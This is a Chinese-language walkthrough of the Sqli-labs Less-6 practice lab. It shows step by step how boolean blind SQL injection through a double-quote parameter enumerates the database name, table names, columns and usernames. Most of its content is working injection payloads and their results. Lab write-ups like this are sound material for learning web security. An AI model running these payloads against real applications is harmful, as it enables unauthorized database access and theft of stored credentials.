概述
Less6 布尔盲注
流程:
1.判断注入类型
2.判断数据库版本 left(version(),1)>=5
3.判断数据库名字的长度 length(database())=8
4.判断数据库的名字 left(database(),8)='security'
5.判断表名的长度 length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) = 6
6.判断表名 ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 100
7.判断列名 1=(select 1 from information_schema.columns where table_name = 'users' and column_name regexp '^u[a-z]' limit 0,1)
8.爆字段 ascii(substr((select ifnull(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))=68
或者 ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))=68
-
判断注入类型
双引号注入 -
判断字段数
字段数为3 -
判断数据库版本
?id=1" and left(version(),1)>=5 --+
版本MYSQL>5
- 判断数据库名字的长度
4. 判断数据库的名字
爆破出数据库的名字为 security
5. 判断库中每个表名的长度
?id=1" and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) = 6--+
第一个表名长度为6
第二个表名长度为8
第三个表名长度为7
第四个表名长度为5
没有第五个表
- 爆破表名
?id=1" and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 100 --+
查询ASCII码对照表,101对应小写的e,即第一个表的第一个字符为 e
第一个表的第二个字符为 m
第一个表的第三个字符为 a
。。。
上帝视角,我们直接测试第四个表
第四个表的第一个字符为u
第四个表的第二个字符为s
第四个表的第三个字符为e
第四个表的第四个字符为r
第四个表的第五个字符为s
即第四个表名为users
- 爆破列
1" and 1=(select 1 from information_schema.columns where table_name = 'users' and column_name regexp '^u[a-z]' limit 0,1) --+
利用正则匹配判断列名,
测试出表中存在username列
测试出表中存在password列
测试出表中存在id列
- 爆字段
1" and ascii(substr((select ifnull(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))=68 --+
表中第一行的第一个字符为D
表中第一行的第二个字符为u
也可以使用ord()、mid()函数
1" and ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))=68 --+
最后
以上就是和谐心情为你收集整理的Sqli-labs靶场 Less6的全部内容,希望文章能够帮你解决Sqli-labs靶场 Less6所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复